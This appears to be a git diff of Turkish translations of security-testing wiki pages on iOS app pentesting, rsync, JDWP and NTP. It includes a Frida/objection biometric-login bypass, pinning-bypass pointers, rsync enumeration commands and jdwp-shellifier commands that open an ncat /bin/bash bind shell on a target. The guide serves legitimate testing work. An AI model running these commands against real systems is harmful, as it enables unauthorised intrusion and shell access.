Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda sabitlenmiş/tahmin edilebilir bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı tersine mühendislik işlemleri, saldırganların gizli bilgileri çıkarmasına olanak tanıyabilir.
|
||||
|
||||
### Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı
|
||||
|
||||
Geliştiriciler, yetkilendirme **kontrolleri** yapmak, verileri **saklamak** veya **göndermek** için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash** kullanılıyorsa, tuz ile birlikte brute-force **dirençli** hash'ler kullanılmalıdır.
|
||||
Geliştiriciler, yetkilendirme **kontrolleri** yapmak, verileri **saklamak** veya **göndermek** için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash** kullanılıyorsa, tuz ile birlikte **brute-force** **dirençli** hash'ler kullanılmalıdır.
|
||||
|
||||
### Kontrol
|
||||
|
||||
Kodda **hardcoded** şifreler/gizli bilgiler bulup bulamayacağınızı, bunların **tahmin edilebilir** olup olmadığını ve kodun bazı tür **zayıf** **kriptografi** algoritmaları kullanıp kullanmadığını kontrol etmek için ana kontrolleri gerçekleştirmek önemlidir.
|
||||
Kodda **hardcoded** şifreler/gizli bilgiler bulup bulamayacağınızı, bunların **tahmin edilebilir** olup olmadığını ve kodun bazı **zayıf** **kriptografi** algoritmaları kullanıp kullanmadığını kontrol etmek için ana kontrolleri gerçekleştirmek önemlidir.
|
||||
|
||||
Bazı **kripto** **kütüphanelerini** otomatik olarak **objection** ile **izleyebileceğinizi** bilmek ilginçtir:
|
||||
Bazı **crypto** **kütüphanelerini** otomatik olarak **objection** ile **izleyebileceğinizi** bilmek ilginçtir:
|
||||
```swift
|
||||
ios monitor crypt
|
||||
```
|
||||
@ -722,17 +722,17 @@ Daha fazla bilgi için iOS kriptografik API'leri ve kütüphaneleri hakkında [h
|
||||
|
||||
## Yerel Kimlik Doğrulama
|
||||
|
||||
**Yerel kimlik doğrulama**, özellikle uzaktan bir uç noktada kriptografik yöntemlerle erişimi korumak söz konusu olduğunda kritik bir rol oynar. Buradaki öz, uygun bir uygulama olmadan yerel kimlik doğrulama mekanizmalarının aşılabileceğidir.
|
||||
**Yerel kimlik doğrulama**, özellikle uzaktan bir uç noktaya kriptografik yöntemlerle erişimi korumak söz konusu olduğunda kritik bir rol oynamaktadır. Buradaki öz, uygun bir uygulama olmadan yerel kimlik doğrulama mekanizmalarının aşılabileceğidir.
|
||||
|
||||
Apple'ın [**Yerel Kimlik Doğrulama çerçevesi**](https://developer.apple.com/documentation/localauthentication) ve [**anahtar zinciri**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html), geliştiricilerin kullanıcı kimlik doğrulama diyaloglarını kolaylaştırmaları ve gizli verileri güvenli bir şekilde yönetmeleri için sağlam API'ler sunar. Secure Enclave, Touch ID için parmak izi kimliğini güvence altına alırken, Face ID biyometrik verileri tehlikeye atmadan yüz tanımaya dayanır.
|
||||
Apple'ın [**Yerel Kimlik Doğrulama çerçevesi**](https://developer.apple.com/documentation/localauthentication) ve [**anahtar zinciri**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html), geliştiricilerin kullanıcı kimlik doğrulama diyaloglarını kolaylaştırmak ve gizli verileri güvenli bir şekilde yönetmek için sağlam API'ler sunar. Secure Enclave, Touch ID için parmak izi kimliğini güvence altına alırken, Face ID biyometrik verileri tehlikeye atmadan yüz tanımaya dayanır.
|
||||
|
||||
Touch ID/Face ID'yi entegre etmek için geliştiricilerin iki API seçeneği vardır:
|
||||
|
||||
- **`LocalAuthentication.framework`** biyometrik verilere erişim olmadan yüksek düzeyde kullanıcı kimlik doğrulaması için.
|
||||
- **`Security.framework`** biyometrik kimlik doğrulaması ile gizli verileri güvence altına alarak daha düşük düzeyde anahtar zinciri hizmetlerine erişim için. Çeşitli [açık kaynaklı sarmalayıcılar](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) anahtar zinciri erişimini daha basit hale getirir.
|
||||
- **`LocalAuthentication.framework`**: Biyometrik verilere erişim olmadan yüksek seviyeli kullanıcı kimlik doğrulaması için.
|
||||
- **`Security.framework`**: Biyometrik kimlik doğrulaması ile gizli verileri güvence altına alarak daha düşük seviyeli anahtar zinciri hizmetlerine erişim için. Çeşitli [açık kaynaklı sarmalayıcılar](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) anahtar zinciri erişimini daha basit hale getirir.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ancak, hem `LocalAuthentication.framework` hem de `Security.framework` zafiyetler sunar, çünkü esasen kimlik doğrulama süreçleri için veri iletmeden boolean değerleri döndürürler, bu da onları aşılabilir hale getirir (bkz. [Bana öyle dokunma, David Lindner ve diğerleri](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||||
> Ancak, hem `LocalAuthentication.framework` hem de `Security.framework` zafiyetler sunmaktadır, çünkü esasen kimlik doğrulama süreçleri için veri iletmeden boolean değerleri döndürmektedir, bu da onları aşılabilir hale getirmektedir (bkz. [Bana öyle dokunma, David Lindner ve diğerleri](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||||
|
||||
### Yerel Kimlik Doğrulama Uygulaması
|
||||
|
||||
@ -741,15 +741,15 @@ Kullanıcılardan kimlik doğrulama istemek için geliştiricilerin **`LAContext
|
||||
- **`deviceOwnerAuthentication`**: Touch ID veya cihaz şifresi için istemde bulunur, ikisi de etkin değilse başarısız olur.
|
||||
- **`deviceOwnerAuthenticationWithBiometrics`**: Sadece Touch ID için istemde bulunur.
|
||||
|
||||
Başarılı bir kimlik doğrulama, **`evaluatePolicy`** yönteminden dönen boolean bir değerle gösterilir ve bu, potansiyel bir güvenlik açığını vurgular.
|
||||
Başarılı bir kimlik doğrulama, **`evaluatePolicy`** yönteminden dönen boolean bir değerle belirtilir ve bu, potansiyel bir güvenlik açığını vurgular.
|
||||
|
||||
### Anahtar Zinciri Kullanarak Yerel Kimlik Doğrulama
|
||||
|
||||
iOS uygulamalarında **yerel kimlik doğrulama** uygulamak, kimlik doğrulama token'ları gibi gizli verileri güvenli bir şekilde depolamak için **anahtar zinciri API'lerini** kullanmayı içerir. Bu süreç, verilerin yalnızca kullanıcının cihaz şifresi veya Touch ID gibi biyometrik kimlik doğrulama ile erişilebileceğini garanti eder.
|
||||
iOS uygulamalarında **yerel kimlik doğrulama** uygulamak, kimlik doğrulama token'ları gibi gizli verileri güvenli bir şekilde depolamak için **anahtar zinciri API'lerini** kullanmayı içerir. Bu süreç, verilerin yalnızca kullanıcının cihaz şifresi veya Touch ID gibi biyometrik kimlik doğrulaması ile erişilebileceğini garanti eder.
|
||||
|
||||
Anahtar zinciri, kullanıcı başarılı bir şekilde Touch ID veya cihaz şifresi ile kimlik doğrulaması yapana kadar öğeye erişimi kısıtlayan `SecAccessControl` niteliği ile öğeleri ayarlama yeteneği sunar. Bu özellik, güvenliği artırmak için kritik öneme sahiptir.
|
||||
|
||||
Aşağıda, bu güvenlik özelliklerini kullanarak anahtar zincirine bir dize kaydetme ve alma yöntemlerini gösteren Swift ve Objective-C'de kod örnekleri bulunmaktadır. Örnekler, Touch ID kimlik doğrulaması gerektirecek şekilde erişim kontrolünü nasıl ayarlayacağınızı ve verilerin yalnızca kurulduğu cihazda erişilebilir olmasını sağlamak için bir cihaz şifresinin yapılandırılması koşulunu göstermektedir.
|
||||
Aşağıda, bu güvenlik özelliklerini kullanarak anahtar zincirine bir dize kaydetme ve geri alma işlemini gösteren Swift ve Objective-C'de kod örnekleri bulunmaktadır. Örnekler, Touch ID kimlik doğrulaması gerektirecek şekilde erişim kontrolünü nasıl ayarlayacağınızı ve verilerin yalnızca kurulduğu cihazda erişilebilir olmasını sağlamak için bir cihaz şifresinin yapılandırılması koşulunu göstermektedir.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -876,7 +876,7 @@ NSLog(@"Something went wrong");
|
||||
|
||||
### Tespit
|
||||
|
||||
Bir uygulamadaki çerçevelerin kullanımı, uygulama ikili dosyasının paylaşılan dinamik kütüphaneler listesinin analiz edilmesiyle de tespit edilebilir. Bu, `otool` kullanılarak yapılabilir:
|
||||
Bir uygulamadaki çerçevelerin kullanımı, uygulama ikili dosyasının paylaşılan dinamik kütüphaneler listesini analiz ederek de tespit edilebilir. Bu, `otool` kullanılarak yapılabilir:
|
||||
```bash
|
||||
$ otool -L <AppName>.app/<AppName>
|
||||
```
|
||||
@ -891,7 +891,7 @@ Eğer `Security.framework` kullanılıyorsa, yalnızca ikincisi gösterilecektir
|
||||
|
||||
#### **Objection**
|
||||
|
||||
**Objection Biometrics Bypass** aracılığıyla, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) bulunan bir teknik, **LocalAuthentication** mekanizmasını aşmak için mevcuttur. Bu yaklaşımın temeli, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida** kullanmaktır; bu sayede, gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` sonucu elde edilir. Bu, hatalı biyometrik kimlik doğrulama süreçlerini aşmak için özellikle faydalıdır.
|
||||
**Objection Biometrics Bypass** aracılığıyla, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) **LocalAuthentication** mekanizmasını aşmak için bir teknik mevcuttur. Bu yaklaşımın temeli, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida** kullanmaktır; böylece, gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` sonucu elde edilir. Bu, hatalı biyometrik kimlik doğrulama süreçlerini atlatmak için özellikle yararlıdır.
|
||||
|
||||
Bu atlatmayı etkinleştirmek için aşağıdaki komut kullanılır:
|
||||
```bash
|
||||
@ -936,7 +936,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
|
||||
```
|
||||
Yerel Kimlik Doğrulama'nın **bypass** edilmesi için bir Frida scripti yazılmıştır. Bu script, **evaluatePolicy** kontrolünü hedef alır ve geri çağrısını keserek **success=1** döndürmesini sağlar. Geri çağrının davranışını değiştirerek, kimlik doğrulama kontrolü etkili bir şekilde bypass edilir.
|
||||
|
||||
Aşağıdaki script, **evaluatePolicy** yönteminin sonucunu değiştirmek için enjekte edilmiştir. Geri çağrının sonucunu her zaman başarıyı gösterecek şekilde değiştirir.
|
||||
Aşağıdaki script, **evaluatePolicy** yönteminin sonucunu değiştirmek için enjekte edilir. Geri çağrının sonucunu her zaman başarıyı gösterecek şekilde değiştirir.
|
||||
```swift
|
||||
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
|
||||
if(ObjC.available) {
|
||||
@ -1008,7 +1008,7 @@ ios-serialisation-and-encoding.md
|
||||
|
||||
## Ağ İletişimi
|
||||
|
||||
**Şifreleme olmadan** iletişim gerçekleşmediğinden emin olmak ve ayrıca uygulamanın sunucunun **TLS sertifikasını** doğru bir şekilde **doğruladığından** emin olmak önemlidir.\
|
||||
**Şifreleme olmadan** iletişim gerçekleşmediğinden emin olmak ve ayrıca uygulamanın sunucunun TLS sertifikasını doğru bir şekilde **doğruladığından** emin olmak önemlidir.\
|
||||
Bu tür sorunları kontrol etmek için **Burp** gibi bir proxy kullanabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
@ -1017,19 +1017,19 @@ burp-configuration-for-ios.md
|
||||
|
||||
### Hostname Kontrolü
|
||||
|
||||
TLS sertifikasını doğrularken yaygın bir sorun, sertifikanın **güvenilir** bir **CA** tarafından imzalandığını kontrol etmektir, ancak **sertifikanın hostname'inin** erişilen hostname ile **kontrol edilmemesidir**.\
|
||||
Bu sorunu Burp kullanarak kontrol etmek için, iPhone'da Burp CA'ya güven verdikten sonra, **farklı bir hostname için Burp ile yeni bir sertifika oluşturabilir** ve bunu kullanabilirsiniz. Uygulama hala çalışıyorsa, o zaman bir şeyler savunmasızdır.
|
||||
TLS sertifikasını doğrularken yaygın bir sorun, sertifikanın **güvenilir** bir **CA** tarafından imzalanıp imzalanmadığını kontrol etmektir, ancak **sertifikanın hostname'inin** erişilen hostname ile eşleşip eşleşmediğini **kontrol etmemektir**.\
|
||||
Bu sorunu Burp kullanarak kontrol etmek için, iPhone'da Burp CA'ya güven verdikten sonra, **farklı bir hostname için Burp ile yeni bir sertifika oluşturabilir** ve bunu kullanabilirsiniz. Uygulama hala çalışıyorsa, o zaman bir zayıflık vardır.
|
||||
|
||||
### Sertifika Pinning
|
||||
|
||||
Bir uygulama SSL Pinning'i doğru bir şekilde kullanıyorsa, uygulama yalnızca beklenen sertifika ile çalışır. Bir uygulamayı test ederken **bu, Burp kendi sertifikasını sunacağı için bir sorun olabilir.**\
|
||||
Eğer bir uygulama SSL Pinning'i doğru bir şekilde kullanıyorsa, o zaman uygulama yalnızca beklenen sertifika ile çalışır. Bir uygulamayı test ederken **bu, Burp kendi sertifikasını sunacağı için bir sorun olabilir.**\
|
||||
Jailbroken bir cihazda bu korumayı aşmak için, [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) uygulamasını yükleyebilir veya [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) yükleyebilirsiniz.
|
||||
|
||||
Ayrıca **objection's** `ios sslpinning disable` komutunu da kullanabilirsiniz.
|
||||
|
||||
## Çeşitli
|
||||
|
||||
- **`/System/Library`** içinde sistem uygulamaları tarafından kullanılan telefon üzerindeki framework'leri bulabilirsiniz.
|
||||
- **`/System/Library`** içinde sistem uygulamaları tarafından kullanılan telefon üzerindeki kurulu framework'leri bulabilirsiniz.
|
||||
- Kullanıcı tarafından App Store'dan yüklenen uygulamalar **`/User/Applications`** içinde yer almaktadır.
|
||||
- **`/User/Library`** ise kullanıcı seviyesindeki uygulamalar tarafından kaydedilen verileri içerir.
|
||||
- Uygulama içinde kaydedilen notları okumak için **`/User/Library/Notes/notes.sqlite`** dosyasına erişebilirsiniz.
|
||||
@ -1042,17 +1042,17 @@ Ayrıca **objection's** `ios sslpinning disable` komutunu da kullanabilirsiniz.
|
||||
|
||||
Geliştiriciler, uygulamalarının tüm kurulumlarını anında **yamanlayabilir** ve uygulamayı App Store'a yeniden göndermeye gerek kalmadan onay bekleyebilirler.\
|
||||
Bu amaçla genellikle [**JSPatch**](https://github.com/bang590/JSPatch)** kullanılır.** Ancak [Siren](https://github.com/ArtSabintsev/Siren) ve [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker) gibi diğer seçenekler de vardır.\
|
||||
**Bu, kötü niyetli üçüncü taraf SDK'lar tarafından kötüye kullanılabilecek tehlikeli bir mekanizmadır, bu nedenle otomatik güncelleme için hangi yöntemin kullanıldığını kontrol etmek ve test etmek önerilir.** Bu amaçla uygulamanın önceki bir sürümünü indirmeyi deneyebilirsiniz.
|
||||
**Bu, kötü niyetli üçüncü taraf SDK'lar tarafından kötüye kullanılabilecek tehlikeli bir mekanizmadır, bu nedenle otomatik güncelleme yönteminin (varsa) ne olduğunu kontrol etmek ve test etmek önerilir.** Bu amaçla uygulamanın önceki bir sürümünü indirmeyi deneyebilirsiniz.
|
||||
|
||||
### Üçüncü Taraflar
|
||||
|
||||
**3. taraf SDK'lar** ile ilgili önemli bir zorluk, işlevleri üzerinde **detaylı kontrol eksikliği**dir. Geliştiriciler, SDK'yı entegre etme ve potansiyel güvenlik açıkları ve gizlilik endişeleri dahil olmak üzere tüm özelliklerini kabul etme veya tamamen faydalarından vazgeçme seçeneği ile karşı karşıyadır. Genellikle, geliştiriciler bu SDK'lar içindeki güvenlik açıklarını kendileri yamalayamazlar. Ayrıca, SDK'lar topluluk içinde güven kazandıkça, bazıları kötü amaçlı yazılım içermeye başlayabilir.
|
||||
**3. taraf SDK'lar** ile ilgili önemli bir zorluk, **fonksiyonları üzerinde ayrıntılı kontrol eksikliğidir.** Geliştiriciler, SDK'yı entegre etme ve potansiyel güvenlik açıkları ve gizlilik endişeleri dahil olmak üzere tüm özelliklerini kabul etme veya tamamen faydalarından vazgeçme seçeneği ile karşı karşıyadır. Genellikle, geliştiriciler bu SDK'lar içindeki zayıflıkları kendileri yamalayamazlar. Ayrıca, SDK'lar topluluk içinde güven kazandıkça, bazıları kötü amaçlı yazılım içermeye başlayabilir.
|
||||
|
||||
Üçüncü taraf SDK'lar tarafından sağlanan hizmetler, kullanıcı davranışını izleme, reklam gösterimleri veya kullanıcı deneyimi iyileştirmeleri içerebilir. Ancak, bu, geliştiricilerin bu kütüphaneler tarafından yürütülen kodu tam olarak bilmemesi nedeniyle potansiyel gizlilik ve güvenlik riskleri oluşturur. Üçüncü taraf hizmetlerle paylaşılan bilgilerin yalnızca gerekli olanlarla sınırlı olması ve hassas verilerin açığa çıkmadığından emin olunması önemlidir.
|
||||
Üçüncü taraf SDK'lar tarafından sağlanan hizmetler, kullanıcı davranışını izleme, reklam gösterimleri veya kullanıcı deneyimi iyileştirmeleri içerebilir. Ancak, bu, geliştiricilerin bu kütüphaneler tarafından yürütülen kodun tam olarak farkında olmaması nedeniyle potansiyel gizlilik ve güvenlik riskleri oluşturur. Üçüncü taraf hizmetlerle paylaşılan bilgilerin yalnızca gerekli olanlarla sınırlı olması ve hassas verilerin açığa çıkmadığından emin olunması önemlidir.
|
||||
|
||||
Üçüncü taraf hizmetlerin uygulanması genellikle iki biçimde gelir: bağımsız bir kütüphane veya tam bir SDK. Kullanıcı gizliliğini korumak için, bu hizmetlerle paylaşılan verilerin **anonimleştirilmesi** gerekmektedir, böylece Kişisel Tanımlanabilir Bilgilerin (PII) ifşası önlenir.
|
||||
|
||||
Bir uygulamanın kullandığı kütüphaneleri belirlemek için **`otool`** komutu kullanılabilir. Bu araç, uygulama ve kullandığı her paylaşılan kütüphane üzerinde çalıştırılmalıdır.
|
||||
Bir uygulamanın kullandığı kütüphaneleri belirlemek için **`otool`** komutu kullanılabilir. Bu araç, uygulama ve kullandığı her paylaşılan kütüphane üzerinde çalıştırılmalıdır, böylece ek kütüphaneler keşfedilebilir.
|
||||
```bash
|
||||
otool -L <application_path>
|
||||
```
|
||||
|
@ -4,18 +4,18 @@
|
||||
|
||||
## **Temel Bilgiler**
|
||||
|
||||
[wikipedia](https://en.wikipedia.org/wiki/Rsync) adresinden:
|
||||
From [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
||||
|
||||
> **rsync**, bir bilgisayar ile harici bir sabit disk arasında ve [ağlı](https://en.wikipedia.org/wiki/Computer_network) [bilgisayarlar](https://en.wikipedia.org/wiki/Computer) arasında [dosyaları](https://en.wikipedia.org/wiki/Computer_file) verimli bir şekilde [aktarmak](https://en.wikipedia.org/wiki/File_transfer) ve [senkronize etmek](https://en.wikipedia.org/wiki/File_synchronization) için bir yardımcı programdır; dosyaların [değiştirilme zamanlarını](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) ve boyutlarını karşılaştırarak çalışır.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) Genellikle [Unix benzeri](https://en.wikipedia.org/wiki/Unix-like) [işletim sistemlerinde](https://en.wikipedia.org/wiki/Operating_system) bulunur. Rsync algoritması, ağ kullanımını minimize etmek için kullanılan bir [delta kodlama](https://en.wikipedia.org/wiki/Delta_encoding) türüdür. [Zlib](https://en.wikipedia.org/wiki/Zlib), ek [veri sıkıştırması](https://en.wikipedia.org/wiki/Data_compression) için kullanılabilir,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) ve [SSH](https://en.wikipedia.org/wiki/Secure_Shell) veya [stunnel](https://en.wikipedia.org/wiki/Stunnel) güvenlik için kullanılabilir.
|
||||
> **rsync**, bir bilgisayar ile harici bir sabit disk arasında ve [ağ](https://en.wikipedia.org/wiki/Computer_network) [bilgisayarları](https://en.wikipedia.org/wiki/Computer) arasında [dosyaları](https://en.wikipedia.org/wiki/Computer_file) verimli bir şekilde [aktarmak](https://en.wikipedia.org/wiki/File_transfer) ve [senkronize etmek](https://en.wikipedia.org/wiki/File_synchronization) için bir yardımcı programdır; dosyaların [değiştirilme zamanlarını](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) ve boyutlarını karşılaştırarak çalışır.[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) Genellikle [Unix benzeri](https://en.wikipedia.org/wiki/Unix-like) [işletim sistemlerinde](https://en.wikipedia.org/wiki/Operating_system) bulunur. Rsync algoritması, [delta kodlama](https://en.wikipedia.org/wiki/Delta_encoding) türlerinden biridir ve ağ kullanımını minimize etmek için kullanılır. [Zlib](https://en.wikipedia.org/wiki/Zlib) ek [veri sıkıştırması](https://en.wikipedia.org/wiki/Data_compression) için kullanılabilir,[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) ve [SSH](https://en.wikipedia.org/wiki/Secure_Shell) veya [stunnel](https://en.wikipedia.org/wiki/Stunnel) güvenlik için kullanılabilir.
|
||||
|
||||
**Varsayılan port:** 873
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
873/tcp open rsync syn-ack
|
||||
```
|
||||
## Sayım
|
||||
## Enumeration
|
||||
|
||||
### Afiş ve Manuel iletişim
|
||||
### Banner & Manual communication
|
||||
```bash
|
||||
nc -vn 127.0.0.1 873
|
||||
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
||||
@ -37,7 +37,7 @@ nc -vn 127.0.0.1 873
|
||||
raidroot
|
||||
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
||||
```
|
||||
### **Paylaşılan Klasörleri Belirleme**
|
||||
### **Paylaşılan Klasörlerin Sayımı**
|
||||
|
||||
**Rsync modülleri**, **şifrelerle korunabilecek** **dizin paylaşımları** olarak tanınır. Mevcut modülleri belirlemek ve şifre gerektirip gerektirmediklerini kontrol etmek için aşağıdaki komutlar kullanılır:
|
||||
```bash
|
||||
@ -47,7 +47,7 @@ msf> use auxiliary/scanner/rsync/modules_list
|
||||
# Example with IPv6 and alternate port
|
||||
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
||||
```
|
||||
Bazı paylaşımların listede görünmeyebileceğini, muhtemelen gizlendiğini unutmayın. Ayrıca, bazı paylaşımlara erişim belirli **kimlik bilgileri** ile kısıtlanmış olabilir, bu da **"Erişim Engellendi"** mesajı ile belirtilir.
|
||||
Dikkat edin ki bazı paylaşımlar listede görünmeyebilir, bu da onları gizliyor olabilir. Ayrıca, bazı paylaşımlara erişim belirli **kimlik bilgileri** ile kısıtlanmış olabilir ve bu, **"Erişim Engellendi"** mesajı ile belirtilir.
|
||||
|
||||
### [**Brute Force**](../generic-hacking/brute-force.md#rsync)
|
||||
|
||||
@ -78,9 +78,9 @@ rsyncd yapılandırma dosyasını bulmak için şunu çalıştırın:
|
||||
```bash
|
||||
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
||||
```
|
||||
Bu dosya içinde, bir _secrets file_ parametresi **rsyncd kimlik doğrulaması** için **kullanıcı adları ve şifreler** içeren bir dosyaya işaret edebilir.
|
||||
Bu dosyada, bir _secrets file_ parametresi **kullanıcı adları ve şifreler** içeren bir dosyaya işaret edebilir rsyncd kimlik doğrulaması için.
|
||||
|
||||
## References
|
||||
## Referanslar
|
||||
|
||||
- [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Exploiting
|
||||
|
||||
JDWP istismarı, **protokolün kimlik doğrulama ve şifreleme eksikliğine** dayanır. Genellikle **port 8000** üzerinde bulunur, ancak diğer portlar da mümkündür. İlk bağlantı, hedef porta "JDWP-Handshake" gönderilerek yapılır. Eğer bir JDWP servisi aktifse, aynı dize ile yanıt verir ve varlığını doğrular. Bu el sıkışma, ağdaki JDWP hizmetlerini tanımlamak için bir parmak izi yöntemi olarak işlev görür.
|
||||
JDWP istismarı, **protokolün kimlik doğrulama ve şifreleme eksikliğine** dayanır. Genellikle **port 8000** üzerinde bulunur, ancak diğer portlar da mümkündür. İlk bağlantı, hedef porta "JDWP-Handshake" gönderilerek yapılır. Eğer bir JDWP servisi aktifse, aynı dize ile yanıt verir ve varlığını onaylar. Bu el sıkışma, ağdaki JDWP hizmetlerini tanımlamak için bir parmak izi yöntemi olarak işlev görür.
|
||||
|
||||
Süreç tanımlaması açısından, Java süreçlerinde "jdwk" dizesini aramak, aktif bir JDWP oturumunu gösterebilir.
|
||||
|
||||
@ -14,7 +14,7 @@ Kullanılan araç [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier)dir
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
|
||||
```
|
||||
`--break-on 'java.lang.String.indexOf'` kullanımının istismarı daha **istikrarlı** hale getirdiğini buldum. Ve eğer bir arka kapı yükleme ve bunu bir komut çalıştırmak yerine yürütme şansınız varsa, istismar daha da istikrarlı olacaktır.
|
||||
`--break-on 'java.lang.String.indexOf'` kullanımının istismarı daha **kararlı** hale getirdiğini buldum. Eğer bir arka kapı yükleme ve bunu bir komut çalıştırmak yerine yürütme şansınız olursa, istismar daha da kararlı olacaktır.
|
||||
|
||||
## Daha fazla detay
|
||||
|
||||
@ -23,7 +23,7 @@ Kullanılan araç [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier)dir
|
||||
1. **JDWP Genel Bakış**:
|
||||
|
||||
- Paket tabanlı bir ağ ikili protokoldür, öncelikle senkronizedir.
|
||||
- Kimlik doğrulama ve şifreleme eksikliği, düşmanca ağlara maruz kaldığında güvenlik açığı oluşturur.
|
||||
- Kimlik doğrulama ve şifreleme eksikliği, düşmanca ağlara maruz kaldığında savunmasız hale getirir.
|
||||
|
||||
2. **JDWP El Sıkışması**:
|
||||
|
||||
@ -37,7 +37,7 @@ Kullanılan araç [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier)dir
|
||||
4. **İstismar**:
|
||||
|
||||
- JDWP, keyfi sınıfları ve bytecode'u yüklemeye ve çağırmaya izin verir, bu da güvenlik riskleri oluşturur.
|
||||
- Makale, Java Runtime referanslarını alma, kesme noktaları ayarlama ve yöntemleri çağırma içeren beş adımlı bir istismar sürecini detaylandırmaktadır.
|
||||
- Makale, Java Runtime referanslarını alma, kesme noktaları ayarlama ve yöntemleri çağırma gibi beş adımda bir istismar sürecini detaylandırmaktadır.
|
||||
|
||||
5. **Gerçek Hayat İstismarı**:
|
||||
|
||||
@ -56,7 +56,7 @@ Kullanılan araç [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier)dir
|
||||
- [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
|
||||
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
|
||||
- [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
|
||||
- https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
|
||||
- [https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults](https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults)
|
||||
- [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
|
||||
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
|
||||
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
||||
|
@ -4,18 +4,18 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**Ağ Zaman Protokolü (NTP)**, değişken gecikme sürelerine sahip ağlar üzerinden bilgisayarların ve ağ cihazlarının saatlerini doğru bir şekilde senkronize etmelerini sağlar. IT operasyonları, güvenlik ve günlükleme için kesin zaman tutmanın sağlanmasında kritik öneme sahiptir. Zaman, neredeyse her kimlik doğrulama, kripto-protokol ve adli süreçte kullanıldığından, **NTP'yi etkileyebilen bir saldırgan genellikle güvenlik kontrollerini atlayabilir veya saldırıları araştırmayı zorlaştırabilir.**
|
||||
**Ağ Zaman Protokolü (NTP)**, değişken gecikme sürelerine sahip ağlar üzerinden bilgisayarların ve ağ cihazlarının saatlerini doğru bir şekilde senkronize etmelerini sağlar. IT operasyonları, güvenlik ve günlükleme için kesin zaman tutmanın sağlanması açısından hayati öneme sahiptir. Zaman, neredeyse her kimlik doğrulama, kripto-protokol ve adli süreçte kullanıldığından, **NTP'yi etkileyebilen bir saldırgan genellikle güvenlik kontrollerini atlayabilir veya saldırıları araştırmayı zorlaştırabilir.**
|
||||
|
||||
### Özet & Güvenlik İpuçları
|
||||
|
||||
- **Amaç**: Cihaz saatlerini ağlar üzerinden senkronize eder.
|
||||
- **Önemi**: Güvenlik, günlükleme, kripto-protokoller ve dağıtık sistemler için kritik.
|
||||
